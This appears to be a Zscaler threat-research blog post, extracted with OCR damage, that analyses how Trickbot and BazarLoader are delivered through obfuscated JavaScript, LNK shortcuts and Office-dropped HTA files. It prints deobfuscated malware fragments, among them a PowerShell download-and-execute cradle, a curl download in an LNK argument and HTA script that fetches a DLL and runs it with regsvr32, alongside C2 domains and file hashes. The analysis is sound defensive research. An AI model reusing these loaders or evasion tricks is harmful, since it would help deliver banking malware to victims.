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The_Zscaler ThreatlLabz research team monitors thousands of files daily tracking new and pervasive threats, including one of the most
prominent banking trojans of the last five years: Trickbot. Trickbot has been active since 2016 and is linked to a large number of malicious
campaigns involving bitcoin mining and theft of banking information, personal identifying information (PIl), and credentials. BazarLoader is a
spinoff of this trojan, developed by the same authors. Both are particularly dangerous as they are easily modifiable and capable of delivering
multi-stage payloads, as well as taking over computers entirely.

ThreatLabz has discovered Trickbot operators using new approaches to delivering payloads in recent attack campaigns. The malware
samples we analyzed were well-crafted and highly obfuscated with sandbox-evading capabilities. In this blog post, we will show analysis of
the different delivery vectors used by Trickbot and BazarLoader.

Key Points:

1. Script and LNK files added evasion techniques to leverage Malware threats.

2. Multilayer obfuscation is used to preclude analysis of JS and LNK files.

3. An Office attachment drops an HTA file with snippets of HTML and javascript functions.
4. Newly registered domains are used to deliver threats.

Trickbot is expanding its range of file types for malware delivery

In previous campaigns, Trickbot payloads were generally dropped as malicious attachments to Microsoft Office files. In the last month, we've
seen that malware has also used javascript files at a high volume, along with a range of other file formats, as shown in the following charts:

Trickbot Delivery Vector based on Filetypes

Fig1:Trickbot blocked in the Zscaler Cloud Sandbox

1/8


https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors
https://www.zscaler.com/threatlabz/threat-map-dashboard

BazarLoader Delivery Vector based on Filetypes
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Fig2:Bazarloader blocked in the Zscaler Cloud Sandbox
In this blog, we’ll walk through the attack chain for multiple delivery vectors, including:

« Trickbot spreading through scripting files
o Trickbot spreading through LNK files
« BazarlLoader spreading through Office attachments

Trickbot spreading through scripting files

Trickbot gains intrusion using spam emails bundled with malicious javascript attachments, such as the following:

Q| [**=*SPAM*** Score/Req: 09.70/4.4] TERMINATION OF SERVICE 214..

File Edit ‘Wiew Tools Message Help ﬂ"
g & 8 S X © O W
Reply Reply all  Forward Prinkt Delete Frevious Iext Addresses
From: termine@gesundheit-erleben.online
Date: Saturday, July 31, 2021 1:00 AM
To: nong

Subject:  [**SPAM* ScoreRed 09.70/4 4] TERMMATION OF SERVICE 2141854
Attach: |[§| 42.7ip (514 KB)

]
i,
Please find the company forms for change of company secretary and
outstanding inwoice attached.

<

Fig3:Spam email attachment

In this case, the Javascript [5B606A5495A55F2BD8559778A620F21B] file has three layers of obfuscation that are mostly used to evade and
bypass sandbox environments. Below is the snapshot of the first obfuscated layer:
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war Dx24459c— 0x329?11[ Dx?ElcOE :if finaed) {wvar _0x147fd%=function(_0Ox3eeTad) (var _0x10b72é=
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_0x3B1198, 0xd9018B9=""; 0x27abfl= 0x147fd9(_0x27abfl) ;var Oxfclaf; foz( Oxfelaf= += bi+0xacf; Oxfelaf<-0x +=0x727k= += »_ Oxfclaf
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L I T T P e S e PeedARA AR LY . P EAE e Pt et h Y A A nlm o AeeE 4 IE D e e e o B T i A S

2/8



Fig4:First layer of obfuscation in javascript

In addition to taking extreme effort to make javascript files highly obfuscated, the malware authors have also added large amounts of junk
code to the end to make debugging more difficult. The junk code is just random generated obfuscated strings that do not play any role with
the malicious code.

Vladikavkaz fbWra VkFe torii reissue servant ymmpgvE myelitis derivatives muscled bNBkDmtY irBptg zebra FvHrtAWE cjzFv(Qpy favorable C7zRY
intensify tantalizingly F2AAaThXp impoverishment oLxBTZ congratulations hvrZ ZbiiAWIn uDytVxzko amass ZmVNFM XBu3Mr fH3wd CtUMWJIL mVxtV pacifist
kaffeeklatch kBaam chemosynthesis HRrBQeEb highlighter rLizFXbY NDamac3rZ appal igmWBAUa rvgC adequate ThoHmLX toothless edemata uLyX Kilauea
saucepan Q¥gknj h3hR nBEfp DHFAhfvi nee sidesaddle Arkwright jgJFw wick interventionism clearinghouse TURLv Osiris Zw/ZHW unceremoniously frailty
laminae solver Paraiba sox crescent pullover reverberation vBumC rtVgTEJY gJWMo dogmatist coronary frightfulness fuehrer YQJTNZ mwBepeAV Wylie
pxMzZ yp7xY hjvVC MrDxtdUrd4 underpass maven unstudied wcvlU gram unaddressed JBQYZig nEdel ubiquity XZtck kRLt calumnious lining twain backgrounder
pOxL32wVV fertilise refill BoBbu UZwx destruction maidenhead Ellington WKZIZHCr FWUXAD pubis ZauvpiaF tHEtCiNB gadgetry BbE3jNRMN miueDXviw
undeserving cherubic chrismal ZocXfLiRJ uQyywZL ypQztY astrobiolegy EgaUztge XJeZMUKV nagiEeCA pUetMcWY L74F amifr 2TYJ43gj interfile Taoist
evanescence timorously betake N4V7fo bAnwjXi modernizing H4hk 4Ucijgbin nosegay yBaUFDiX cHmN yyFHnJk HFFC emggRt hoax vjdYknx Pashto QocubV
publicity Lilongwe roaring Tzp2N HmxF Z2hgxL mirin MmDoBe AuitxvQ ogvJUNaoc collie humdrum x7wuoj7E YwFrh woes viridescence ZMKEm similarly kURB
mufti ttLXa MZpT74et wYalV remonstrate oxbow Jxg3 Hertfordshire zVmVhx jaRetlVY profusion crowning myclogical QX3XMRi Padua XMEc Miami kine ndRe
depraved Revelations WoYNAm Persia jjQvDUgf cvivuDHFX ukob4R kBRwgmkna (7. stinter cceweioj kiddingly holster nXDoaRAm moisturize Benny Tpz23CMi
junketeer ectothermic ZAFVEn na2f7Bz inferrable 7txyul cantaloup transcriptional auAqByN ZxEV invitational fearfully steamroll encounter fnof3 Qy2g

Fig5:Junk code to make analysis difficult

Using the eval() function we have de-obfuscated the second layer in which malicious code is embedded with more junk code. After removing
this layer of junk code, the eval() function is used once again to retrieve the final layer of code. We can see that the Trickbot authors used the
setTimeout() method, which evaluates an expression after a 967 milliseconds to delay execution in the sandbox. This helps the malware
evade sandbox environments.

YHPFhEFtKjgbCmAZ = 'hdBDJRhdBDJIXGhdBDJIShdBDJIahdBDJMnhdBDIUThdBDJIVhdBDIChdBDIThdBDJIdyvhdBDJuhdB]
AhdBDJIchdBDJthdBDJivhdBDJehdBDJIXhdBDJObhdBDJjehdBEDJcthdBDJ ("hdBDJIShhdBDJIe1hdBDJ1hdBDJ. hdBDJ:
ThdBDJThdBDJpFhdBDJE1hdBDIwhdBDJZohdBDJIWhdBDJIJchdBDJzkhdBDJOhdBDJR =hdBDJ hdBDJ"thdBDJIShdBDJ
hdBDIxghdBDJICrhdBDIGMFhdBDJIcShdBDJehdBDIsTIuhdBDIvhdBDIAhdBEDILhdBDJohdBDJIdhdBDJI =hdBDJ
hdBDJI"hdBDJIshdBDJIJbhdBDJIphdBDIThdBDIZhdBDJIHYY1hdBDJIUhdBDITchdBDJJhhdBDJtzuDhdBDJIG"; ' ;
ltxy {

setTimeout (""", 267);
} eateh (£) {

var UFwIteVDKNWJcay = '
'}
kKVYJOrLSgvdAWnaGTX =
"tSJVhRXGLSJIJVhStSIVhaMtSIvhntSIVhUESIVhVESIVhCEtSIVhTdESIVhyugt SIVhFLSIVhDtESJIVhs . tSIVhStSJIvhi
extSJIVhetSIVh"tSJIVh, tSJIVh "/ tSIVhpotSIVhWtSIVhEEtSIVhRstSIVRhtSIVhEtSIVh1tSJIVhl1tSIVh —tSJvl]
tSIVh-tSJIVheptSJvh tSJIVhbyptSJIvhatSJdvhss t5JVh-etSIVhntSJIvhctSIvh
tSIVhSQtSIVhBFEtSIVhAtSIVhFEtSIVhgATIARAOESIVhAEAtLSIVhALSIVhZtSIVhQtSIVhBESIVh3AEtSIVhCtSIVhOtST
SIVhBtSJIVhOtSIVhAGELSIVhUALSIVhdt SIVhAALSIVhutSIVhALSIVhFESIVhecAZQBI tSIVhAGESIVhMESIVhALSJIVHI
tSIVhBAdtSIVhwtSIVhButSIVhAtSIVhGtSIVhwt SIVhAtLSIVhbwtSIVhBtSIVhhtSIVhAGEtSIVhQtSIVhALSIVhcetS,
SIVhitSJIVhALSIVhGtSIVhgtSIVhATLSIVhdABOAHARLSIVhetSIVhwtSIVhALSIVhEATLSIVhCEALSIVhLESIVhwBLST
VhAGtSJIVhctSIVhALSIVhectSIVhgBhAGESIVhItSIVhALSIVhYESIVhQtSIVhBUAESIVhC4tSIVhALSIVhctSIVHALS
VhAltSJIVhAtSIVhDCtSIVhALSIVhOLSIVhALSIVhALSIVhOLSIVhADMALSIJVhNEtSIVhAAELSIVhOADELSIVhANTSIVhal
tSIVhbAAVESIVhALSIVhGESIVhEAESIVhewBztSIVhALSIVhGESIVhKktSIVhACWBOESIVhALSIVhGESJVhEALESIVhg
PAA=LSJIVh="tSJVh, tSJVh ""tSJVh, tSJVh tSJVh"tSJVhotSJVhpen",tSJVh tSJVhO);';

|function sVeTNbOomGkwRUhCgVA (EgSEgQNLrbfVFyGIa, rONueJpnihlLgBUTkbe) {
return tgSEgNLrbfVFEyGIa.replace (new RegExp (rONueJpnihlLgBUTkbc, ‘o), UEwIteVDKNWJcaY) ;
‘1
oHgIXudWyhGFPRlab = sVeTNbOomGkwRUhCgVA (YHPhEFtKjgbCmAZ, "hdBDJI™) ;
XMyBrVhsYpGIdoHS = (new Function (oHgIXudWyhGFPRlab)) () ;
eval (sVeTNbOomGkwRUhCgVvA (KVYJOrLSgvdAWnaGTX, ITpFElwZoWczkOR)) ;

Fig6: Second layer of obfuscation in javascript

In the above snapshot we are able to see the replace method implemented in the code where “"hdBDJ"and “tSJVh” strings are removed
from the variables “YHPhEFtKjgbCmAZ” and “kVYJOrLSqvdAWnaGTX” respectively to get the final string.
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zYHPhEFtEjgbCmAZ = 'RXGSaMnUVCTdyugFDs = new ActiveXObject ("Shell.appLiCATIon") ;
ITpFElwZoWczkOR = "tSJVh
xqCrGMFcSesTIuyALod = "shb
Jtry {
setTimeout ("", 267);
} catch (f) {
var UFwIteVDKkNWJcaY = "";

-4
kVYJOrLSqvdAWnaGTX = 'RXGSaMnUVCTdyugFDs.ShellExecute ("cmd.exe", "/c poWERshE1ll -nop -w hidden -ep bypass -enc
SOBFAFgAIRRACAE4AZOB3ACOATWEiAGOAZQBIAHQOATABOAGUAdARUAFCAZOBI AGMALABPAGUAbgBOACKALgBKAGEAdWBUAGWAbWBhAGQACWE OAH
IAaQBUAGCARKARI AGgAdABOAHARCWASACSALWBgAGEALABhAGA4AdABhAGCACgBhAGIAYQBUAC4ACABSACSALABVAGCALWAIADCAOAROADMANAROR
DEANgA2ADgAOQA4ADAATWBKkAGWADAAVAGEACWBZAGKACWEBOAGEALgBOACAACABoAHAATgAPAR=L SIVh="5JVh, tSJVh ""tSJVh, tSIJVh tSJVh
"t5JVhot53JVhpen”,tSJVh tSJvho);';

~]function sVeTNbOomGkWRUhCQVA (tgSEQNLrbfVFyGIa, rONueJpnihlLgBUTkbc)
return tgSEgNLrbfVFyGIa.replace (new RegExp (rONueJpnihlLgBUTkbc, 'g'), UFWIteVDkNWJcaY) ;
}
oHgIXuJWyhGFPRlab = sVeTNbOomGkwRUhCgvA (YHPhEFtEjgbCmAZ, "hd
XMyBrVhsYpGIdoHS = (new Function(cHgIXuJWyhGFPRlab)) ();
eval (sVeTNbOomGkwRUhCgvA (kVYJOrLSgvdAWnaGTX, ITpFElwZoWczkOR));.toString()

J") 7

Fig7:Final layer

The malicious Javascript executes cmd.exe as a child process, then cmd.exe executes powershell.exe to download Trickbot as payload.
Flow of execution:

Wscript.exe ->cmd.exe->powershell.exe

Powershell.exe embedded with base64 encoded command and after decoded following command is:

IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php")

SANDBOX DETAIL REPORT TSP I P =
Report D [MDS): SBE06AS405ASSF2BD855977RABOF 216 Analysis Performed: 16/9/2021 1104311 pn Fila Type: js
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS -

Class Type Throet Goore » Trojan GenerickD. 27538366 » Malicious Encrypted Powershel Command Line Found

Malicious = Found WSH Timer For Javascript Or VBS Script

Category 9 O » Sampie Sleeps For A Long Time (Installer Files Shows These Praperty).
Mabware & Botnet Detected: I T} = Found A High Number Of Window | User Speeific System Cals

Trojan GenerickD 37538366 Cantains Long Sleeps

Executes Massive Amount Of Sleaps in A Loop

NETWORKING £ STEALTH i SPREADING
= HTTP GET Or POST Without A Uisar Agant A * Uyrasses Fowardhall Execurion Hohcy ~

= Encrypied Powersheall Cmadline Option Found

= Viery Long Cmidling Option Found

= JavaScript File Contains Antivirus Product Strings

= PFowarShell Gase Anomaly Found

Downicads Fikes From Web Servers Via HTTR

Performs DNS Lockups

Sample HTTP Request Are All Non Existing, Likely The Sample |s No Longer Working
Tries To Download Non-existing HTTP Data

URLs Found In Memory Or Binary Data

Uses HTTPS

Mo suspicious activity detected

* Susplcious Pawershel Command Line Found
~ Disables Application Eror Massages ~

INFORMATION LEAKAGE EXPLOITING PERSISTENCE

Creates Temparary Files.

No suspickous activity detected Mo suspicious activity detected

Fig8:Zscaler Cloud Sandbox detection of Javascript Downloader
Trickbot spreading through LNK files

Windows LNK (LNK) extensions are usually seen by users as shortcuts, and we have frequently observed cybercriminals using LNK files to
download malicious files such as Trickbot. Trickbot hides the code in the argument section under the properties section of the LNK file. The
malware author added extra spaces in between the malicious code to attempt to make it more difficult for researchers to debug the code.
We've seen this technique used previously in the Emotet campaign using malicious Office attachments in 2018.

Target: [C:\Wndows\SyshemBZbTﬂ.exe

Arguments: [l‘c @echo off & start notepad.exe &

Target: lC :\Windows\System32\cmd.exe

Arguments: | Space added to hide the code curl —-silent 4 “http://45. 148. 121.227imagesreadytunes.png"

Fig9:Code embedded in the properties section of LNK
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6TEMP%&ren
pplication1_f ; tion1_form.pdf

m.pdf support.exe8istart
port.exe

Downloading Trickbot :

1. LNK downloads the file from 45.148.121.227/images/readytunes.png using a silent argument so that the user is not able to see any
error message or progress action.

2. After downloading, the malware saves the file to the Temp folder with the name application1_form.pdf.

3. Finally, the file is renamed from application1_form.pdf to support.exe and executed. Here, support.exe is Trickbot.

SANDBOX DETAIL REPORT R Mot Lowr a
Analysis Periormed: ZUW0 103544 pm File Type: Ink
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS
Class Type Treeat Score + Contains Capabiities To Detect Virtual Machings
Malcious 74 + Samgie Exocution Stops While Process Was Sloaping (Likely An Evasion)
May Try o Detect The Wirtual Machine o Hinder Anatysis

Categary o knorwm Mabware found
Mabware & Botnet I

METWORKING - STEALTH - SPREADING

o IPs Wil DNS Lookups = Wery Lang Cdine Opson Found
Downlaads Fies From Web Servers Via HTTP
Samgle HTTP Rsquest Are Al Non Existing, Liksly The Ssmpie ts No Longes Wesking
Triess To Diownioad Nor-gaisting HTTP Data
URLS Found In Memaory Or Binary Data

Ho suspicious activity delected

INFORMATION LEAKAGE H EXPLOITING -+ PERSISTENCE

« Erumerates The File System Mty Try Too Detect The Windows Expiorer Process « Windcws Shorcut File Starts Blackiisted Processes
Creales Temporary Fles
Found URL In Windows Shortut Fie

Fig10:Zscaler Cloud Sandbox detection of LNK Downloader
BazarLoader spreading through Office attachments

This is one of the other techniques used in_TA551 APT aka Shathak. Malicious office documents drop the HTA file to
“C\ProgramData\sda.HTA”. This HTA file contains HTML and vbscript designed to retrieve a malicious DLL to infect a vulnerable Windows
host with BazarLoader.

Once macro-enabled, the mshta.exe process executes to download a payload. This campaign has been observed delivering BazarLoader
and Trickbot in the past.

Winword.exe

Dropped HTA
l [C:ProgramData\sda.hta]

Creates
cmd.exe

|

- regsvr32.exe [ To download
Mshta.exe Loader]
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Fig11:Attack chain of DOC file to download BazarlLoader

Base64 encoded data is implemented in the HTML <div> tag which is used later with javascript.

fuck u

<html>
<body>
<div

id="haveLoveYou'>dmFyIHNpbXBsZVVNeSASIG51dyBBY 3RpdmVYTZ JgZWNOKCItc3htbDIueGlsaHROcCIPO3INpbXBsZVVNeSSveGVUKCTHRVQ
LCA1aHROcDovL2dsYXJ1ZXNOcmFkYWQuY29tL2FkZGEVM2hTZVRzZVDZPd24wVkQ5VVEBSQWhDAXY 1U2FmTKhNR25INDhpV22yeDIxWXk1L2pFTndp
k1lKc2k3eGecyZEXISUPMZmSUb1FFcS9CAmpBULVRYXVPDEg1V2NDTHAKVjVoTDRi1cUYXQOdpZnZncOpXVHAWAE1 ST2ZFZS9rb204P3VZZXI9MFJIIT
VzEZXI9UGWOIWVAWCElUNUtuJnlRQOhOTmQIV2pNZ11aMFRrVidvMEKmMY2 1kPXIvUOVIADIOQWtyRk1GCSE] aWQOUES2 YTFNUmdQT 0 9KQW1zTDhxbz
RCiY9cDAWQU1td0S2b2R3NWFpQ3IUMCT0SUBNNAREMkhkbzI%Ri 2 aWQOWGQ3INkU4cGhRY04yOThFTYZ aWQ9QVIWQ1E1S1RISWgXN] ZNUH1 oVOV
VVpsdCIsIGZhbHN1IKTtzaWlwbGVVTXkuc2VuZCgpO2 IMKHNPpbXBSZVVNeS5zdGFO0dXMgPTOgMjAWRKX t0enl7dmFyIH1vdUJIveXNHaXJs IDOgbmv3
EFjdGl2EZVhPYmplY3QoImFkb2RiLnNOcmVhbSIp031lvdUIveXNHaX JsLmOwEW4 7eW91omSScldpemwudHlwESASIDE 7eW91Q0mSScldpemwud3 Jpd
Uoc2ltcGxlVUlSLnIlc3BvbnNlYmékeSk7eWo1lomSScOdpomwuc2F2ZXRVEMLs2SgiYzpcXHVZZX JZzXFXxwdW IsaWNCcXG2yaWvVuZELGeml lbomQuan
nIiwgMik7eWs1omS5c0dpomwu¥Y2xve2U 7 fWNhdGNoKGUpe319229vZ2x1dmFyIGhhdmVVOWSkIDOgbmV3IIEFJdGl2ZVhPYmplY3QoIndzY3JpcHY
cZhlbGwiKTt2Y¥YXIgZ21ybHNHaXJsIDOgbmV3IEFjdGl2ZVhPYmplY3QoInNjecmlwdGluZySmaWxlc3lzdGVtb2JQZWNOIik7aGF2ZVVEbmQuenvu
CIyZWdzdnIzMiBjOlxcd¥NlcnNeXHBlYmxpY1lxcZnIpZWSkSUZyaWVUZC5qeGeiKTs=229vZ2x1bXNzY3JpcHERb250cm9sLnNjemlwdGNvbnRyb
w=</div>

<div id='youYouGirls'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/</div>

<script language="javascript'>function uFriendAnd(girlBoysBoy) {return(new ActiveXObject (girlBoysBoy));}
Fig12:Dropped HTA file : Malicious base64 encoded under HTML <div> section

Below is the snapshot of decode base64 data in which we can see it downloading the payload and saving as friendIFriend,jpg to the victim
machine:

fuck u
<html>

<body>

<div id='haveLoveYou'>var simpleUMy = new ActiveXObject ("mszml2.xmlhttp");simpleUMy.open ("GET",

"http://glareestradad.com/adda/3hSeTsT60WnOVDSUPYANCUVSSafNHMGNHA8 iWfrk21YyS/JENWiRIJsi Txg2dLIIJLENTNQEQ/ BViARUQa
UOlHSWeCLwdVShL4bgFlCGifvgsIQTwVEtM10fEe/kojB?
user=0RH&user=P14YPOpPMTYENn & yQCHNNd=WMfYZ0TkVT00Ilscid=roSEHt24AkrFIFgacid=PNvalMRgPOOJAMSL8qo5Qr&=pld 0AMmwNvodwSal
Cua&g=9R0OM4tz2Hdo21F&acid=Xd76E8phQCcNZ298EQ&Ccid=AVVBQRSITWIh16VMPYhWEMUZ1L",
false) ;simpleUMy.send() ;if (simpleUMy.status == 200) {try{var youBoysGirl = new

ActiveXObiject ("adodb.stream") ;youBoysGirl.open; youBoysGirl.type = Downloads BazarLoader

L:yc;BoysGirl.wri:e{simpleUMy.:espcnsebcdy);youBoysGirl.save:ofilek“c:\\users\\public\\friendIFriend.jpg",I

2);youBoysGirl.close; lcatch(e) {} }googlevar haveUAnd = new ActiveXObject ("wscript.shell");var girlsGirl = new

ActiveXObject ("scripting.filesystemobject™);haveUand.runff"regsvr32 c:\\use:s\\p:blic\\f:ie:dIFriend‘j;g"}'<ffiv>
yuGirls ' >ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef gl ImnopgrstuvwxyzU1234567/89+/</div>

'javascript'>function uFriendAnd (girl oY) {return(new ActiveXObject (girlBoysBoy) );}

Load Bazarloader DLL with regsvur32.exe

Fig13:Dropped HTA file : Decode Base64 data
Networking : C&C to download BazarLoader

GET /adda/3h5eTsT60wn@VDIUPyAhCuv55afNHMGNHA8iW rx21Yy5/JENWiRIIsi7xg2dLIIILfnTnQEg/
BvjARUQauOlHSWcCLwdV5hL4bgF1CGifvgsIqTwVtM1lOfEe/koj8?
user=0RH&user=P14YPOpMTYKn&yQCHNNd=WMfYZOTkV700I&cid=roSEHt24AkrFIFq&cid=PNvalMRgP0O0JAmsL8qo5Qr&=p@0AMmwNvodw5aiCulq=9REMALtZ2H
021F&cid=Xd76E8phQcN298E0&cid=AVVBQ5ITWIh16VMPYhWEMUZ1t HTTP/1.1

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.@; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NE
CLR 3.©.30729; .NET CLR 3.5.38729)

Host: glareestradad.com

Connection: Keep-Alive

Fig14:Sending request to download Bazarloader

We have also observed newly registered domains (NRDs) specifically created to distribute these payloads, using a stealer delivered through
spam email and bundled with a malicious Microsoft Office attachment.
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Create date: 2021-07-21

Domain name: glareestradad.com
Fig15: Newly registered domain

@5 zscaler cloud sandbox

SANDBOX DETAIL REPORT B (=]
Report 10 (MDS5): IFOGATAGFIDAEAS0ZAZAZIER 270031 Analysis Performed: 17/8/2021156:24 am File Type: doc:
CLASSIFICATION MACHINE LEARNING ANALYSIS VIRUS AND MALWARE
Class Type Threat Score » Malicious - High Confidence + Trojan.GenerickD.37274370
Mbicious 8 8
Categary

Matwara & Botnet Detected I i
HEUR/Macro.Downlcader AJALLGen

SECURITY BYPASS b NETWORKING = STEALTH

* Contains Capabilities To Detect Virtual Machines * Document: Performs DHS Queries ~ Disables Application Error Messages

+ Sample Execution Stops While Process Wes Sieeping (Likely An Evasion) = Document: Generate TCP Traffic Document Containg Embedded VEA Macros
May Try To Detect The Virtual Machine To Hinder Analysis Downioads Files From Web Servers Via HTTF

Perioms DNS Lockups
Sample HTTF Requast Are Al Non Existing, Ukely Tha Sample s No Longer Working
Tries To Downioad Mon-aisting HTTF Data

URLs Found in Memary Or Binary Data i
SPREADING INFORMATION LEAKAGE EXPLOITING
it
No suspacious activity detected No suspacious activity detected

Fig16:Zscaler Cloud Sandbox detection of Malicious Office file Downloader

JS.Downloader. Trickbot

Win32.Backdoor.Bazarloader

VBA.Downloader.Bazarloader

MITRE ATT&CK
T5190 Gather Victim Network Information
T1189 Drive-by Compromise
T1082 System Information Discovery
T1140 Deobfuscate/Decode Files or Information
T1564 Hide Artifacts
T1027 Obfuscated Files or Information

Indicators of Compromise
Md5 Filename FileType
B79AA1E30CD460B573114793CABDAFEB  100.js JS
ABOBCODDAB99FD245C8808D2984541FB  4821.js JS
192D054C18EB592E85EBF6DE4334FA4D  4014.js JS
21064644ED167754CF3B0C853C056F54 7776.js JS
3B71E166590CD12D6254F7F8BB497F5A  7770.js JS
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https://threatlibrary.zscaler.com/threats/37daac40-4651-4cd0-9947-b77713c75859
https://threatlibrary.zscaler.com/threats/848ca346-b69f-468b-8bad-a12823237d4a
https://threatlibrary.zscaler.com/threats/81efe542-3de5-4efe-8362-12b368661598

5B606A5495A55F2BD8559778A620F21B

68.js

JS

BA89D7FC5C4A30868EA060D526DBCF56 Subcontractor Reviews (Sep 2021).Ink  LNK

Md5

Filename

Filety

C7298C4B0AF3279942B2FF630999E746 a087650f65f087341d07ea07aa89531624ad8c1671bc17751d3986e503bfb76.bin.sample.gz DOC

3F06A786F1D4EA3402A3A23E61279931

Associated URLs:

jolantagraban.pl/log/57843441668980/dll/assistant.php

blomsterhuset-villaflora.dk/assistant.php

d15k2d11r6t6rl.cloudfront.net/public/users/beefree

C&C:

Domain

Payload

jolantagraban.pl

Trickbot

glareestradad.com

BazarlLoader

francopublicg.com

BazarlLoader

DOC
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